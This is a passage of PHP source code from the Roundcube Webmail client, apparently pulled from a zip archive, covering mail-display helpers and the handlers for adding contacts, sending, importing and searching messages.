                    $attrs = [
                        'href'    => 'mailto:' . $mailto,
                        'class'   => 'rcmContactAddress',
                        'onclick' => sprintf("return %s.command('compose','%s',this)",
                            rcmail_output::JS_OBJECT_NAME, rcube::JQ(format_email_recipient($mailto, $name))),
                    ];

                    if ($show_email && $name && $mailto) {
                        $content = rcube::SQ($name ? sprintf('%s <%s>', $name, $mailto) : $mailto);
                    }
                    else {
                        $content = rcube::SQ($name ?: $mailto);
                        $attrs['title'] = $mailto;
                    }

                    $address = html::a($attrs, $content);
                }
                else {
                    $address = html::span(['title' => $mailto, 'class' => "rcmContactAddress"],
                        rcube::SQ($name ?: $mailto));
                }

                if ($addicon && $_SESSION['writeable_abook']) {
                    $label = $rcmail->gettext('addtoaddressbook');
                    $icon = html::img([
                            'src'   => $rcmail->output->asset_url($addicon, true),
                            'alt'   => $label,
                            'class' => 'noselect',
                    ]);
                    $address .= html::a([
                            'href'    => "#add",
                            'title'   => $label,
                            'class'   => 'rcmaddcontact',
                            'onclick' => sprintf("return %s.command('add-contact','%s',this)",
                                rcmail_output::JS_OBJECT_NAME, rcube::JQ($string)),
                        ],
                        $addicon == 'virtual' ? '' : $icon
                    );
                }
            }
            else {
                $address = $name ? rcube::Q($name) : '';
                if ($mailto) {
                    $address = trim($address . ' ' . rcube::Q($name ? sprintf('<%s>', $mailto) : $mailto));
                }
            }

            $address = html::span('adr', $address);
            $allvalues[] = $address;

            if (empty($moreadrs)) {
                $out .= ($out ? ', ' : '') . $address;
                $shown_addresses[] = $address;
            }

            if ($max && $j == $max && $c > $j) {
                if ($linked) {
                    $moreadrs = $c - $j;
                }
                else {
                    $out .= '...';
                    break;
                }
            }
        }

        if (!empty($moreadrs)) {
            $label = rcube::Q($rcmail->gettext(['name' => 'andnmore', 'vars' => ['nr' => $moreadrs]]));

            if (self::$PRINT_MODE) {
                $out .= ', ' . html::a([
                        'href'    => '#more',
                        'class'   => 'morelink',
                        'onclick' => '$(this).hide().next().show()',
                    ], $label)
                    . html::span(['style' => 'display:none'], join(', ', array_diff($allvalues, $shown_addresses)));
            }
            else {
                $out .= ', ' . html::a([
                        'href'    => '#more',
                        'class'   => 'morelink',
                        'onclick' => sprintf("return %s.simple_dialog('%s','%s',null,{cancel_button:'close'})",
                            rcmail_output::JS_OBJECT_NAME,
                            rcube::JQ(join(', ', $allvalues)),
                            rcube::JQ($title))
                    ], $label);
            }
        }

        return $out;
    }
    /**
     * Return attachment filename, handle empty filename case
     *
     * @param rcube_message_part $attachment Message part
     * @param bool               $display    Convert to a description text for "special" types
     *
     * @return string Filename
     */
    public static function attachment_name($attachment, $display = false)
    {
        $rcmail = rcmail::get_instance();

        $filename = (string) $attachment->filename;
        $filename = str_replace(["\r", "\n"], '', $filename);

        if ($filename === '') {
            if ($attachment->mimetype == 'text/html') {
                $filename = $rcmail->gettext('htmlmessage');
            }
            else {
                $ext      = array_first((array) rcube_mime::get_mime_extensions($attachment->mimetype));
                $filename = $rcmail->gettext('messagepart') . ' ' . $attachment->mime_id;
                if ($ext) {
                    $filename .= '.' . $ext;
                }
            }
        }

        // Display smart names for some known mimetypes
        if ($display) {
            if (preg_match('/application\/(pgp|pkcs7)-signature/i', $attachment->mimetype)) {
                $filename = $rcmail->gettext('digitalsig');
            }
        }

        return $filename;
    }

    public static function search_filter($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmlistfilter';
        }

        if (!self::get_bool_attr($attrib, 'noevent')) {
            $attrib['onchange'] = rcmail_output::JS_OBJECT_NAME . '.filter_mailbox(this.value)';
        }

        // Content-Type values of messages with attachments
        // the same as in app.js:add_message_row()
        $ctypes = ['application/', 'multipart/m', 'multipart/signed', 'multipart/report'];

        // Build search string of "with attachment" filter
        $attachment = trim(str_repeat(' OR', count($ctypes)-1));
        foreach ($ctypes as $type) {
            $attachment .= ' HEADER Content-Type ' . rcube_imap_generic::escape($type);
        }

        $select = new html_select($attrib);
        $select->add($rcmail->gettext('all'), 'ALL');
        $select->add($rcmail->gettext('unread'), 'UNSEEN');
        $select->add($rcmail->gettext('flagged'), 'FLAGGED');
        $select->add($rcmail->gettext('unanswered'), 'UNANSWERED');
        if (!$rcmail->config->get('skip_deleted')) {
            $select->add($rcmail->gettext('deleted'), 'DELETED');
            $select->add($rcmail->gettext('undeleted'), 'UNDELETED');
        }
        $select->add($rcmail->gettext('withattachment'), $attachment);
        $select->add($rcmail->gettext('priority').': '.$rcmail->gettext('highest'), 'HEADER X-PRIORITY 1');
        $select->add($rcmail->gettext('priority').': '.$rcmail->gettext('high'), 'HEADER X-PRIORITY 2');
        $select->add($rcmail->gettext('priority').': '.$rcmail->gettext('normal'), 'NOT HEADER X-PRIORITY 1 NOT HEADER X-PRIORITY 2 NOT HEADER X-PRIORITY 4 NOT HEADER X-PRIORITY 5');
        $select->add($rcmail->gettext('priority').': '.$rcmail->gettext('low'), 'HEADER X-PRIORITY 4');
        $select->add($rcmail->gettext('priority').': '.$rcmail->gettext('lowest'), 'HEADER X-PRIORITY 5');

        $rcmail->output->add_gui_object('search_filter', $attrib['id']);

        $selected = rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET);

        if (!$selected && !empty($_REQUEST['_search'])) {
            $selected = $_SESSION['search_filter'];
        }

        return $select->show($selected ?: 'ALL');
    }

    public static function search_interval($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmsearchinterval';
        }

        $select = new html_select($attrib);
        $select->add('', '');

        foreach (['1W', '1M', '1Y', '-1W', '-1M', '-1Y'] as $value) {
            $select->add($rcmail->gettext('searchinterval' . $value), $value);
        }

        $rcmail->output->add_gui_object('search_interval', $attrib['id']);

        return $select->show(!empty($_REQUEST['_search']) ? $_SESSION['search_interval'] : '');
    }

    public static function message_error()
    {
        $rcmail = rcmail::get_instance();

        // ... display message error page
        if ($rcmail->output->template_exists('messageerror')) {
            // Set env variables for messageerror.html template
            if ($rcmail->action == 'show') {
                $mbox_name = $rcmail->storage->get_folder();

                $rcmail->output->set_env('mailbox', $mbox_name);
                $rcmail->output->set_env('uid', null);
            }

            $rcmail->output->show_message('messageopenerror', 'error');
            $rcmail->output->send('messageerror');
        }
        else {
            $rcmail->raise_error(['code' => 410], false, true);
        }
    }

    public static function message_import_form($attrib = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->add_label('selectimportfile', 'importwait', 'importmessages', 'import');

        $description = $rcmail->gettext('mailimportdesc');
        $input_attr  = [
            'multiple' => true,
            'name'     => '_file[]',
            'accept'   => '.eml,.mbox,.msg,message/rfc822,text/*',
        ];

        if (class_exists('ZipArchive', false)) {
            $input_attr['accept'] .= '.zip,application/zip,application/x-zip';
            $description          .= ' ' . $rcmail->gettext('mailimportzip');
        }

        $attrib['prefix'] = html::tag('input', ['type' => 'hidden', 'name' => '_unlock', 'value' => ''])
            . html::tag('input', ['type' => 'hidden', 'name' => '_framed', 'value' => '1'])
            . html::p(null, $description);

        return self::upload_form($attrib, 'importform', 'import-messages', $input_attr);
    }

    // Return mimetypes supported by the browser
    public static function supported_mimetypes()
    {
        $rcmail = rcube::get_instance();

        // mimetypes supported by the browser (default settings)
        $mimetypes = (array) $rcmail->config->get('client_mimetypes');

        // Remove unsupported types, which makes that attachment which cannot be
        // displayed in a browser will be downloaded directly without displaying an overlay page
        if (empty($_SESSION['browser_caps']['pdf']) && ($key = array_search('application/pdf', $mimetypes)) !== false) {
            unset($mimetypes[$key]);
        }

        if (empty($_SESSION['browser_caps']['flash']) && ($key = array_search('application/x-shockwave-flash', $mimetypes)) !== false) {
            unset($mimetypes[$key]);
        }

        // We cannot securely preview XML files as we do not have a proper parser
        if (($key = array_search('text/xml', $mimetypes)) !== false) {
            unset($mimetypes[$key]);
        }

        foreach (['tiff', 'webp'] as $type) {
            if (empty($_SESSION['browser_caps'][$type]) && ($key = array_search('image/' . $type, $mimetypes)) !== false) {
                // can we convert it to jpeg?
                if (!rcube_image::is_convertable('image/' . $type)) {
                    unset($mimetypes[$key]);
                }
            }
        }

        // @TODO: support mail preview for compose attachments
        if ($rcmail->action != 'compose' && !in_array('message/rfc822', $mimetypes)) {
            $mimetypes[] = 'message/rfc822';
        }

        return array_values($mimetypes);
    }
}
PK
h�\�{�S��#program/actions/mail/addcontact.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Add the submitted contact to the user's address book                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_addcontact extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $address = rcube_utils::get_input_string('_address', rcube_utils::INPUT_POST, true);
        $source  = rcube_utils::get_input_string('_source', rcube_utils::INPUT_POST);

        // Get the default addressbook
        $CONTACTS = null;
        $SENDERS  = null;
        $type     = 0;

        if ($source != rcube_addressbook::TYPE_TRUSTED_SENDER) {
            $CONTACTS = $rcmail->get_address_book(rcube_addressbook::TYPE_DEFAULT, true);
            $type     = rcube_addressbook::TYPE_DEFAULT;
        }

        // Get the trusted senders addressbook
        if (!empty($_POST['_reload']) || $source == rcube_addressbook::TYPE_TRUSTED_SENDER) {
            $collected_senders = $rcmail->config->get('collected_senders');

            if (strlen($collected_senders)) {
                $type |= rcube_addressbook::TYPE_TRUSTED_SENDER;
                $SENDERS = $rcmail->get_address_book($collected_senders);
                if ($CONTACTS == $SENDERS) {
                    $SENDERS = null;
                }
            }
        }

        $contact = rcube_mime::decode_address_list($address, 1, false);

        if (empty($contact[1]['mailto'])) {
            $rcmail->output->show_message('errorsavingcontact', 'error', null, false);
            $rcmail->output->send();
        }

        $contact = [
            'email' => $contact[1]['mailto'],
            'name'  => $contact[1]['name'],
        ];

        $email = rcube_utils::idn_to_ascii($contact['email']);

        if (!rcube_utils::check_email($email, false)) {
            $rcmail->output->show_message('emailformaterror', 'error', ['email' => $contact['email']], false);
            $rcmail->output->send();
        }

        if ($rcmail->contact_exists($contact['email'], $type)) {
            $rcmail->output->show_message('contactexists', 'warning');
            $rcmail->output->send();
        }

        $done = $rcmail->contact_create($contact, $SENDERS ?: $CONTACTS, $error);

        if ($done) {
            $rcmail->output->show_message('addedsuccessfully', 'confirmation');

            if (!empty($_POST['_reload'])) {
                $rcmail->output->command('command', 'load-remote');
            }
        }
        else {
            $rcmail->output->show_message($error ?: 'errorsavingcontact', 'error', null, false);
        }

        $rcmail->output->send();
    }
}
PK
h�\�7�\�D�Dprogram/actions/mail/send.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Compose a new mail message and send it or store as draft            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_send extends rcmail_action
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // remove all scripts and act as called in frame
        $rcmail->output->reset();
        $rcmail->output->framed = true;

        $COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
        $COMPOSE    =& $_SESSION['compose_data_'.$COMPOSE_ID];

        // Sanity checks
        if (!isset($COMPOSE['id'])) {
            rcube::raise_error([
                    'code' => 500,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Invalid compose ID"
                ], true, false
            );

            $rcmail->output->show_message('internalerror', 'error');
            $rcmail->output->send('iframe');
        }

        $saveonly  = !empty($_GET['_saveonly']);
        $savedraft = !empty($_POST['_draft']) && !$saveonly;
        $SENDMAIL  = new rcmail_sendmail($COMPOSE, [
                'sendmail'      => true,
                'saveonly'      => $saveonly,
                'savedraft'     => $savedraft,
                'error_handler' => function(...$args) use ($rcmail) {
                    call_user_func_array([$rcmail->output, 'show_message'], $args);
                    $rcmail->output->send('iframe');
                },
                'keepformatting' => !empty($_POST['_keepformatting']),
        ]);

        if (!isset($COMPOSE['attachments'])) {
            $COMPOSE['attachments'] = [];
        }

        // Collect input for message headers
        $headers = $SENDMAIL->headers_input();

        $COMPOSE['param']['message-id'] = $headers['Message-ID'];

        $message_id      = $headers['Message-ID'];
        $message_charset = $SENDMAIL->options['charset'];
        $message_body    = rcube_utils::get_input_string('_message', rcube_utils::INPUT_POST, true, $message_charset);
        $isHtml          = (bool) rcube_utils::get_input_string('_is_html', rcube_utils::INPUT_POST);

        // Reset message body and attachments in Mailvelope mode
        if (isset($_POST['_pgpmime'])) {
            $pgp_mime     = rcube_utils::get_input_string('_pgpmime', rcube_utils::INPUT_POST);
            $isHtml       = false;
            $message_body = '';

            // clear unencrypted attachments
            if (!empty($COMPOSE['attachments'])) {
                foreach ((array) $COMPOSE['attachments'] as $attach) {
                    $rcmail->plugins->exec_hook('attachment_delete', $attach);
                }
            }

            $COMPOSE['attachments'] = [];
        }

        if ($isHtml) {
            $bstyle = [];

            if ($font_size = $rcmail->config->get('default_font_size')) {
                $bstyle[] = 'font-size: ' . $font_size;
            }
            if ($font_family = $rcmail->config->get('default_font')) {
                $bstyle[] = 'font-family: ' . self::font_defs($font_family);
            }

            // append doctype and html/body wrappers
            $bstyle       = !empty($bstyle) ? (" style='" . implode('; ', $bstyle) . "'") : '';
            $message_body = '<html><head>'
                . '<meta http-equiv="Content-Type" content="text/html; charset='
                . ($message_charset ?: RCUBE_CHARSET) . '" /></head>'
                . "<body" . $bstyle . ">\r\n" . $message_body;
        }

        if (!$savedraft) {
            if ($isHtml) {
                $b_style   = 'padding: 0 0.4em; border-left: #1010ff 2px solid; margin: 0';
                $pre_style = 'margin: 0; padding: 0; font-family: monospace';

                $message_body = preg_replace(
                    [
                        // remove empty signature div
                        '/<div id="_rc_sig">(&nbsp;)?<\/div>[\s\r\n]*$/',
                        // replace signature's div ID (#6073)
                        '/ id="_rc_sig"/',
                        // add inline css for blockquotes and container
                        '/<blockquote>/',
                        '/<div class="pre">/',
                        // convert TinyMCE's new-line sequences (#1490463)
                        '/<p>&nbsp;<\/p>/',
                    ],
                    [
                        '',
                        ' id="signature"',
                        '<blockquote type="cite" style="'.$b_style.'">',
                        '<div class="pre" style="'.$pre_style.'">',
                        '<p><br /></p>',
                    ],
                    $message_body
                );

                rcube_utils::preg_error([
                        'line'    => __LINE__,
                        'file'    => __FILE__,
                        'message' => "Could not format HTML!"
                    ], true);
            }

            // Check spelling before send
            if (
                $rcmail->config->get('spellcheck_before_send')
                && $rcmail->config->get('enable_spellcheck')
                && empty($COMPOSE['spell_checked'])
                && !empty($message_body)
            ) {
                $language     = rcube_utils::get_input_string('_lang', rcube_utils::INPUT_GPC);
                $message_body = str_replace("\r\n", "\n", $message_body);
                $spellchecker = new rcube_spellchecker($language);
                $spell_result = $spellchecker->check($message_body, $isHtml);

                if ($error = $spellchecker->error()) {
                    rcube::raise_error([
                            'code' => 500, 'file' => __FILE__, 'line' => __LINE__,
                            'message' => "Spellcheck error: " . $error
                        ],
                        true, false
                    );
                }
                else {
                    $COMPOSE['spell_checked'] = true;

                    if (!$spell_result) {
                        if ($isHtml) {
                            $result['words']      = $spellchecker->get();
                            $result['dictionary'] = (bool) $rcmail->config->get('spellcheck_dictionary');
                        }
                        else {
                            $result = $spellchecker->get_xml();
                        }

                        $rcmail->output->show_message('mispellingsfound', 'error');
                        $rcmail->output->command('spellcheck_resume', $result);
                        $rcmail->output->send('iframe');
                    }
                }
            }

            // generic footer for all messages
            if ($footer = $SENDMAIL->generic_message_footer($isHtml)) {
                $message_body .= "\r\n" . $footer;
            }
        }

        if ($isHtml) {
            $message_body .= "\r\n</body></html>\r\n";
        }

        // sort attachments to make sure the order is the same as in the UI (#1488423)
        if ($files = rcube_utils::get_input_string('_attachments', rcube_utils::INPUT_POST)) {
            $files = explode(',', $files);
            $files = array_flip($files);
            foreach ($files as $idx => $val) {
                if (!empty($COMPOSE['attachments'][$idx])) {
                    $files[$idx] = $COMPOSE['attachments'][$idx];
                    unset($COMPOSE['attachments'][$idx]);
                }
            }

            $COMPOSE['attachments'] = array_merge(array_filter($files), (array) $COMPOSE['attachments']);
        }

        // Since we can handle big messages with disk usage, we need more time to work
        @set_time_limit(360);

        // create PEAR::Mail_mime instance, set headers, body and params
        $MAIL_MIME = $SENDMAIL->create_message($headers, $message_body, $isHtml, $COMPOSE['attachments']);

        // add stored attachments, if any
        if (is_array($COMPOSE['attachments'])) {
            self::add_attachments($SENDMAIL, $MAIL_MIME, $COMPOSE['attachments'], $isHtml);
        }

        // compose PGP/Mime message
        if (!empty($pgp_mime)) {
            $MAIL_MIME->addAttachment(new Mail_mimePart('Version: 1', [
                    'content_type' => 'application/pgp-encrypted',
                    'description'  => 'PGP/MIME version identification',
            ]));

            $MAIL_MIME->addAttachment(new Mail_mimePart($pgp_mime, [
                    'content_type' => 'application/octet-stream',
                    'filename'     => 'encrypted.asc',
                    'disposition'  => 'inline',
            ]));

            $MAIL_MIME->setContentType('multipart/encrypted', ['protocol' => 'application/pgp-encrypted']);
            $MAIL_MIME->setParam('preamble', 'This is an OpenPGP/MIME encrypted message (RFC 2440 and 3156)');
        }

        // This hook allows to modify the message before send or save action
        $plugin    = $rcmail->plugins->exec_hook('message_ready', ['message' => $MAIL_MIME]);
        $MAIL_MIME = $plugin['message'];

        // Deliver the message over SMTP
        if (!$savedraft && !$saveonly) {
            $sent = $SENDMAIL->deliver_message($MAIL_MIME);
        }

        // Save the message in Drafts/Sent
        $saved = $SENDMAIL->save_message($MAIL_MIME);

        // raise error if saving failed
        if (!$saved && $savedraft) {
            self::display_server_error('errorsaving');
            // start the auto-save timer again
            $rcmail->output->command('auto_save_start');
            $rcmail->output->send('iframe');
        }

        $store_target = $SENDMAIL->options['store_target'];
        $store_folder = $SENDMAIL->options['store_folder'];

        // delete previous saved draft
        $drafts_mbox = $rcmail->config->get('drafts_mbox');
        $old_id      = rcube_utils::get_input_string('_draft_saveid', rcube_utils::INPUT_POST);

        if ($old_id && (!empty($sent) || $saved)) {
            $deleted = $rcmail->storage->delete_message($old_id, $drafts_mbox);

            // raise error if deletion of old draft failed
            if (!$deleted) {
                rcube::raise_error([
                        'code'    => 800,
                        'type'    => 'imap',
                        'file'    => __FILE__,
                        'line'    => __LINE__,
                        'message' => "Could not delete message from $drafts_mbox"
                    ],
                    true, false
                );
            }
        }

        if ($savedraft) {
            // remember new draft-uid ($saved could be an UID or true/false here)
            if ($saved && is_bool($saved)) {
                $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER Message-ID ' . $message_id);
                $saved = $index->max();
            }

            if ($saved) {
                $plugin = $rcmail->plugins->exec_hook('message_draftsaved', [
                        'msgid'  => $message_id,
                        'uid'    => $saved,
                        'folder' => $store_target
                ]);

                // display success
                $rcmail->output->show_message(!empty($plugin['message']) ? $plugin['message'] : 'messagesaved', 'confirmation');

                // update "_draft_saveid" and the "cmp_hash" to prevent "Unsaved changes" warning
                $COMPOSE['param']['draft_uid'] = $plugin['uid'];
                $rcmail->output->command('set_draft_id', $plugin['uid']);
                $rcmail->output->command('compose_field_hash', true);
            }

            // start the auto-save timer again
            $rcmail->output->command('auto_save_start');
        }
        else {
            // Collect folders which could contain the composed message,
            // we'll refresh the list if currently opened folder is one of them (#1490238)
            $folders    = [];
            $save_error = false;

            if (!$saveonly) {
                if (in_array($COMPOSE['mode'], ['reply', 'forward', 'draft'])) {
                    $folders[] = $COMPOSE['mailbox'];
                }
                if (!empty($COMPOSE['param']['draft_uid']) && $drafts_mbox) {
                    $folders[] = $drafts_mbox;
                }
            }

            if ($store_folder && !$saved) {
                $params = $saveonly ? null : ['prefix' => true];
                self::display_server_error('errorsavingsent', null, null, $params);

                if ($saveonly) {
                    $rcmail->output->send('iframe');
                }

                $save_error = true;
            }
            else {
                $rcmail->plugins->exec_hook('attachments_cleanup', ['group' => $COMPOSE_ID]);
                $rcmail->session->remove('compose_data_' . $COMPOSE_ID);
                $_SESSION['last_compose_session'] = $COMPOSE_ID;

                $rcmail->output->command('remove_compose_data', $COMPOSE_ID);

                if ($store_folder) {
                    $folders[] = $store_target;
                }
            }

            $msg = $rcmail->gettext($saveonly ? 'successfullysaved' : 'messagesent');

            $rcmail->output->command('sent_successfully', 'confirmation', $msg, $folders, $save_error);
        }

        $rcmail->output->send('iframe');
    }

    public static function add_attachments($SENDMAIL, $message, $attachments, $isHtml)
    {
        $rcmail = rcmail::get_instance();

        foreach ($attachments as $id => $attachment) {
            // This hook retrieves the attachment contents from the file storage backend
            $attachment = $rcmail->plugins->exec_hook('attachment_get', $attachment);
            $is_inline  = false;
            $dispurl    = null;

            if ($isHtml) {
                $dispurl      = '/[\'"]\S+display-attachment\S+file=rcmfile' . preg_quote($attachment['id']) . '[\'"]/';
                $message_body = $message->getHTMLBody();
                $is_inline    = preg_match($dispurl, $message_body);
            }

            $ctype = isset($attachment['mimetype']) ? $attachment['mimetype'] : '';
            $ctype = str_replace('image/pjpeg', 'image/jpeg', $ctype); // #1484914

            // inline image
            if ($is_inline) {
                // Mail_Mime does not support many inline attachments with the same name (#1489406)
                // we'll generate cid: urls here to workaround this
                $cid = preg_replace('/[^0-9a-zA-Z]/', '', uniqid(time(), true));
                if (preg_match('#(@[0-9a-zA-Z\-\.]+)#', $SENDMAIL->options['from'], $matches)) {
                    $cid .= $matches[1];
                }
                else {
                    $cid .= '@localhost';
                }

                if ($dispurl && !empty($message_body)) {
                    $message_body = preg_replace($dispurl, '"cid:' . $cid . '"', $message_body);

                    rcube_utils::preg_error([
                            'line'    => __LINE__,
                            'file'    => __FILE__,
                            'message' => "Could not replace an image reference!"
                        ], true
                    );

                    $message->setHTMLBody($message_body);
                }

                if (!empty($attachment['data'])) {
                    $message->addHTMLImage($attachment['data'], $ctype, $attachment['name'], false, $cid);
                }
                else {
                    $message->addHTMLImage($attachment['path'], $ctype, $attachment['name'], true, $cid);
                }
            }
            else {
                $file    = !empty($attachment['data']) ? $attachment['data'] : $attachment['path'];
                $folding = (int) $rcmail->config->get('mime_param_folding');

                $message->addAttachment($file,
                    $ctype,
                    $attachment['name'],
                    empty($attachment['data']),
                    $ctype == 'message/rfc822' ? '8bit' : 'base64',
                    'attachment',
                    $attachment['charset'] ?? null,
                    '', '',
                    $folding ? 'quoted-printable' : null,
                    $folding == 2 ? 'quoted-printable' : null,
                    '', RCUBE_CHARSET
                );
            }
        }
    }
}
PK
h�\��K���program/actions/mail/import.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Save the uploaded file(s) as messages to the current IMAP folder    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_import extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // clear all stored output properties (like scripts and env vars)
        $rcmail->output->reset();

        if (!empty($_FILES['_file']) && is_array($_FILES['_file'])) {
            $imported = 0;
            $folder   = $rcmail->storage->get_folder();

            foreach ((array) $_FILES['_file']['tmp_name'] as $i => $filepath) {
                // Process uploaded file if there is no error
                $err = $_FILES['_file']['error'][$i];

                if (!$err) {
                    // check file content type first
                    $ctype = rcube_mime::file_content_type($filepath, $_FILES['_file']['name'][$i], $_FILES['_file']['type'][$i]);
                    list($mtype_primary, $mtype_secondary) = explode('/', $ctype);

                    if (in_array($ctype, ['application/zip', 'application/x-zip'])) {
                        $filepath = self::zip_extract($filepath);
                        if (empty($filepath)) {
                            continue;
                        }
                    }
                    else if (!in_array($mtype_primary, ['text', 'message'])) {
                        continue;
                    }

                    foreach ((array) $filepath as $file) {
                        // read the first few lines to detect header-like structure
                        $fp = fopen($file, 'r');
                        do {
                            $line = fgets($fp);
                        }
                        while ($line !== false && trim($line) == '');

                        if (!preg_match('/^From .+/', $line) && !preg_match('/^[a-z-_]+:\s+.+/i', $line)) {
                            continue;
                        }

                        $message = $lastline = '';
                        fseek($fp, 0);

                        while (($line = fgets($fp)) !== false) {
                            // importing mbox file, split by From - lines
                            if ($lastline === '' && strncmp($line, 'From ', 5) === 0 && strlen($line) > 5) {
                                if (!empty($message)) {
                                    $imported += (int) self::save_message($folder, $message);
                                }

                                $message  = $line;
                                $lastline = '';
                                continue;
                            }

                            $message .= $line;
                            $lastline = rtrim($line);
                        }

                        if (!empty($message)) {
                            $imported += (int) self::save_message($folder, $message);
                        }

                        // remove temp files extracted from zip
                        if (is_array($filepath)) {
                            unlink($file);
                        }
                    }
                }
                else {
                    self::upload_error($err);
                }
            }

            if ($imported) {
                $rcmail->output->show_message($rcmail->gettext(['name' => 'importmessagesuccess', 'nr' => $imported, 'vars' => ['nr' => $imported]]), 'confirmation');
                $rcmail->output->command('command', 'list');
            }
            else {
                $rcmail->output->show_message('importmessageerror', 'error');
            }
        }
        else {
            self::upload_failure();
        }

        // send html page with JS calls as response
        $rcmail->output->send('iframe');
    }

    public static function zip_extract($path)
    {
        if (!class_exists('ZipArchive', false)) {
            return;
        }

        $zip   = new ZipArchive;
        $files = [];

        if ($zip->open($path)) {
            for ($i = 0; $i < $zip->numFiles; $i++) {
                $entry    = $zip->getNameIndex($i);
                $tmpfname = rcube_utils::temp_filename('zipimport');

                if (copy("zip://$path#$entry", $tmpfname)) {
                    $ctype = rcube_mime::file_content_type($tmpfname, $entry);
                    list($mtype_primary, ) = explode('/', $ctype);

                    if (in_array($mtype_primary, ['text', 'message'])) {
                        $files[] = $tmpfname;
                    }
                    else {
                        unlink($tmpfname);
                    }
                }
            }

            $zip->close();
        }

        return $files;
    }

    public static function save_message($folder, &$message)
    {
        $date = null;

        if (strncmp($message, 'From ', 5) === 0) {
            // Extract the mbox from_line
            $pos     = strpos($message, "\n");
            $from    = substr($message, 0, $pos);
            $message = substr($message, $pos + 1);

            // Read the received date, support only known date formats

            // RFC4155: "Sat Jan  3 01:05:34 1996"
            $mboxdate_rx = '/^([a-z]{3} [a-z]{3} [0-9 ][0-9] [0-9]{2}:[0-9]{2}:[0-9]{2} [0-9]{4})/i';
            // Roundcube/Zipdownload: "12-Dec-2016 10:56:33 +0100"
            $imapdate_rx = '/^([0-9]{1,2}-[a-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [0-9+-]{5})/i';

            if (
                ($pos = strpos($from, ' ', 6))
                && ($dt_str = substr($from, $pos + 1))
                && (preg_match($mboxdate_rx, $dt_str, $m) || preg_match($imapdate_rx, $dt_str, $m))
            ) {
                try {
                    $date = new DateTime($m[0], new DateTimeZone('UTC'));
                }
                catch (Exception $e) {
                    // ignore
                }
            }
        }

        // unquote ">From " lines in message body
        $message = preg_replace('/\n>([>]*)From /', "\n\\1From ", $message);
        $message = rtrim($message);
        $rcmail  = rcmail::get_instance();

        if ($rcmail->storage->save_message($folder, $message, '', false, [], $date)) {
            return true;
        }

        rcube::raise_error("Failed to import message to $folder", true, false);

        return false;
    }
}
PK
h�\��f�-�-program/actions/mail/search.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Mail messages search action                                         |
 +-----------------------------------------------------------------------+
 | Author: Benjamin Smith <defitro@gmail.com>                            |
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_search extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        @set_time_limit(170);  // extend default max_execution_time to ~3 minutes

        // reset list_page and old search results
        $rcmail->storage->set_page(1);
        $rcmail->storage->set_search_set(null);
        $_SESSION['page'] = 1;

        // get search string
        $str      = rcube_utils::get_input_string('_q', rcube_utils::INPUT_GET, true);
        $mbox     = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_GET, true);
        $filter   = rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET);
        $headers  = rcube_utils::get_input_string('_headers', rcube_utils::INPUT_GET);
        $scope    = rcube_utils::get_input_string('_scope', rcube_utils::INPUT_GET);
        $interval = rcube_utils::get_input_string('_interval', rcube_utils::INPUT_GET);
